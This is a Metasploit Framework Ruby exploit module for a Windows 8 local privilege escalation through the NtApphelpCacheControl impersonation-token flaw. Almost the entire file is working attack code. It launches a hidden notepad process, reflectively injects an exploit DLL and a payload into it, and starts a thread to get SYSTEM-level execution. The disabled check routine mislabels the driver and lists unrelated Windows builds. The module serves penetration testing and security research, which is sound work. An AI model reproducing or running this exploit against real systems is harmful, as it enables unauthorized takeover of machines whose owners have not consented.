metasploit-framework/modules/exploits/windows/local/ntapphelpcachecontrol.rb

131 lines
4.6 KiB
Ruby
Raw Normal View History

2015-01-02 17:31:28 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super(update_info(info, {
'Name' => 'Windows NtApphelpCacheControl Token Impersonation',
'Description' => %q{
On Windows 8, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)
allows application compatibility data to be cached for quick reuse when new processes are created.
A normal user can query the cache but cannot add new cached entries as the operation is restricted
to administrators. This is checked in the function AhcVerifyAdminContext.
This function has a vulnerability where it doesn't correctly check the impersonation token of the
caller to determine if the user is an administrator. It reads the caller's impersonation token
using PsReferenceImpersonationToken and then does a comparison between the user SID in the token to
LocalSystem's SID. It doesn't check the impersonation level of the token so it's possible to get an
identify token on your thread from a local system process and bypass this check.
},
'License' => MSF_LICENSE,
'Author' =>
[
'James Forshaw',
'sinn3r'
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Windows 8', { } ]
],
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
[ 'OSVEB', '116497' ],
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118']
],
'DisclosureDate' => 'Sep 30 2014',
'DefaultTarget' => 0
}))
end
def check
=begin
os = sysinfo["OS"]
if (os =~ /windows/i) == nil
return Exploit::CheckCode::Unknown
end
file_path = expand_path("%windir%") << "\\system32\\drivers\\ahcache.sys"
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
case build
when 7600
return Exploit::CheckCode::Vulnerable
when 7601
return Exploit::CheckCode::Vulnerable if revision <= 18126
when 9200
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Unknown
=end
end
def exploit
if is_system?
fail_with(Exploit::Failure::None, 'Session is already elevated')
end
=begin
if check != Exploit::CheckCode::Vulnerable
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
end
=end
print_status("Launching notepad to host the exploit...")
notepad_process = client.sys.process.execute("notepad.exe", nil, {'Hidden' => true})
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Reader Sandbox won't allow to create a new process:
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_status("Operation failed. Trying to elevate the current process...")
process = client.sys.process.open
end
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory, "exploits", "ntapphelpcachecontrol", "exploit.dll")
library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status("Exploit injected. Injecting payload into #{process.pid}...")
payload_mem = inject_into_process(process, payload.encoded)
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status("Payload injected. Executing exploit...")
process.thread.create(exploit_mem + offset, payload_mem)
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
end
end